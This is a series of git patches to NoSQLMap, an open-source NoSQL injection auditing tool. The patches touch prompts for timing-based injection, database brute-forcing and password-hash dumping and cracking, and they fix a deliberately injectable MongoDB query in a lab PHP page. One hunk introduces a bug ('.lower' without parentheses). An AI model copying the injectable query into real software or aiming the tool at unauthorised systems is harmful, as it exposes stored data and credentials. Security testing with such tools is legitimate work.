index 548d57d..4abd9d7 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -43,8 +43,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
possAddrs = []
timeVulnsStr = []
timeVulnsInt = []
- yes_tag = ['y', 'Y']
- no_tag = ['n', 'N']
appUp = False
strTbAttack = False
intTbAttack = False
@@ -264,7 +262,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
- if doTimeAttack in yes_tag:
+ if doTimeAttack.lower() == "y":
print "Starting Javascript string escape time based injection..."
req = urllib2.Request(uriArray[18], None, requestHeaders)
start = time.time()
@@ -306,7 +304,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
if lt24 == True:
bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
- if bfInfo in yes_tag:
+ if bfInfo.lower == "y":
getDBInfo()
@@ -330,7 +328,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
fileOut = raw_input("Save results to file (y/n)? ")
- if fileOut in yes_tag:
+ if fileOut.lower() == "y":
savePath = raw_input("Enter output file name: ")
fo = open(savePath, "wb")
fo.write ("Vulnerable URLs:\n")
@@ -692,7 +690,7 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
fileOut = raw_input("Save results to file (y/n)? ")
- if fileOut in yes_tag:
+ if fileOut.lower() == "y":
savePath = raw_input("Enter output file name: ")
fo = open(savePath, "wb")
fo.write ("Vulnerable Requests:\n")
@@ -974,7 +972,6 @@ def buildUri(origUri, randValue):
def getDBInfo():
curLen = 0
- yes_tag = ['y', 'Y']
nameLen = 0
gotFullDb = False
gotNameLen = False
@@ -1039,7 +1036,7 @@ def getDBInfo():
getUserInf = raw_input("Get database users and password hashes (y/n)? ")
- if getUserInf in yes_tag:
+ if getUserInf.lower() == "y":
charCounter = 0
nameCounter = 0
#find the total number of users on the database
@@ -1189,7 +1186,7 @@ def getDBInfo():
pwdHash = ""
crackHash = raw_input("Crack recovered hashes (y/n)?: ")
- while crackHash in yes_tag:
+ while crackHash.lower() == "y":
menuItem = 1
for user in users:
print str(menuItem) + "-" + user
From 365997f095a513104af454004c6c5aaa35bd4dd7 Mon Sep 17 00:00:00 2001
From: Mhapankar123
Date: Thu, 13 Oct 2016 08:26:51 +0530
Subject: [PATCH 20/99] Update README.md
---
README.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/README.md b/README.md
index 3fe4146..857ec00 100644
--- a/README.md
+++ b/README.md
@@ -9,6 +9,7 @@ Introduction
NoSQLMap is an open source Python tool designed to audit for as well as automate injection attacks and exploit default configuration weaknesses in NoSQL databases as well as web applications using NoSQL in order to disclose data from the database.
It is named as a tribute to Bernardo Damele and Miroslav's Stampar's popular SQL injection tool [sqlmap](http://sqlmap.org), and its concepts are based on and extensions of Ming Chow's excellent presentation at Defcon 21, ["Abusing NoSQL Databases"](https://www.defcon.org/images/defcon-21/dc-21-presentations/Chow/DEFCON-21-Chow-Abusing-NoSQL-Databases.pdf). Presently the tool's exploits are focused around MongoDB, but additional support for other NoSQL based platforms such as CouchDB, Redis, and Cassandra are planned in future releases.
+A NoSQL (originally referring to "non SQL", "non relational" or "not only SQL") database provides a mechanism for storage and retrieval of data which is modeled in means other than the tabular relations used in relational databases. Such databases have existed since the late 1960s, but did not obtain the "NoSQL" moniker until a surge of popularity in the early twenty-first century, triggered by the needs of Web 2.0 companies such as Facebook, Google, and Amazon.com. NoSQL databases are increasingly used in big data and real-time web applications. NoSQL systems are also sometimes called "Not only SQL" to emphasize that they may support SQL-like query languages.
Requirements
============
From dfbfee8098ecc458f5415e31d8d293fe14d123e4 Mon Sep 17 00:00:00 2001
From: August Detlefsen
Date: Tue, 7 Feb 2017 17:29:32 -0800
Subject: [PATCH 21/99] Parse headers from saved request
---
nosqlmap.py | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/nosqlmap.py b/nosqlmap.py
index b17dca8..8460457 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -423,6 +423,13 @@ def options():
else:
print "unsupported method in request header."
+ # load the HTTP headers
+ for line in reqData[1:]:
+ print(line)
+ if not line.strip(): break
+ header = line.split(": ");
+ requestHeaders[header[0]] = header[1].strip()
+
victim = reqData[1].split( " ")[1].replace("\r\n","")
optionSet[0] = True
uri = methodPath[1].replace("\r\n","")
From e5bbd611ec87e971ed36d0e44a521b643a9ca7b3 Mon Sep 17 00:00:00 2001
From: August Detlefsen
Date: Tue, 7 Feb 2017 17:46:53 -0800
Subject: [PATCH 22/99] Merge pull request #1 from augustd/parse-burp-headers
Parse headers from saved request
---
nsmweb.py | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/nsmweb.py b/nsmweb.py
index 4abd9d7..c619137 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -56,13 +56,13 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
int24 = False
#Verify app is working.
- print "Checking to see if site at " + str(victim) + ":" + str(webPort) + str(uri) + " is up..."
+ print "Checking to see if site at " + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip() + " is up..."
if https == "OFF":
- appURL = "http://" + str(victim) + ":" + str(webPort) + str(uri)
+ appURL = "http://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip()
elif https == "ON":
- appURL = "https://" + str(victim) + ":" + str(webPort) + str(uri)
+ appURL = "https://" + str(victim).strip() + ":" + str(webPort).strip() + str(uri).strip()
try:
req = urllib2.Request(appURL, None, requestHeaders)
appRespCode = urllib2.urlopen(req).getcode()
From bafb608f755a0e94d25082662709f0e968923328 Mon Sep 17 00:00:00 2001
From: Adrien de Beaupre
Date: Sun, 26 Mar 2017 11:41:34 -0400
Subject: [PATCH 23/99] Correction of error in code.
Line 18 is $js = "function () { var query = '". $ordersearch . "'; return this.id == query;}";
Should be
$js = "function () { var query = '". $search . "'; return this.id == query;}";
---
vuln_apps/orderdata.php | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/vuln_apps/orderdata.php b/vuln_apps/orderdata.php
index 39dfa32..427359f 100644
--- a/vuln_apps/orderdata.php
+++ b/vuln_apps/orderdata.php
@@ -15,7 +15,7 @@
$db = $conn->shop;
$collection = $db->orders;
$search = $_GET['ordersearch'];
- $js = "function () { var query = '". $ordersearch . "'; return this.id == query;}";
+ $js = "function () { var query = '". $search . "'; return this.id == query;}";
//print $js;
print '
';
@@ -48,4 +48,4 @@